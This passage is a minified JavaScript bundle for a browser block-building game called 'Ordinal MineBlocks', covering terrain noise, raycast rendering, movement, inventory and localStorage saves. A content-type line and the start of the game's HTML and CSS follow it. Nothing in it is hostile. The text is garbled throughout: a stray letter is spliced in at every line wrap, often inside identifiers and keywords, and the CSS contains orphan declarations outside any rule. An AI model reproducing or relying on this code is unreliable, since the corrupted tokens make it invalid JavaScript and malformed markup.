f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
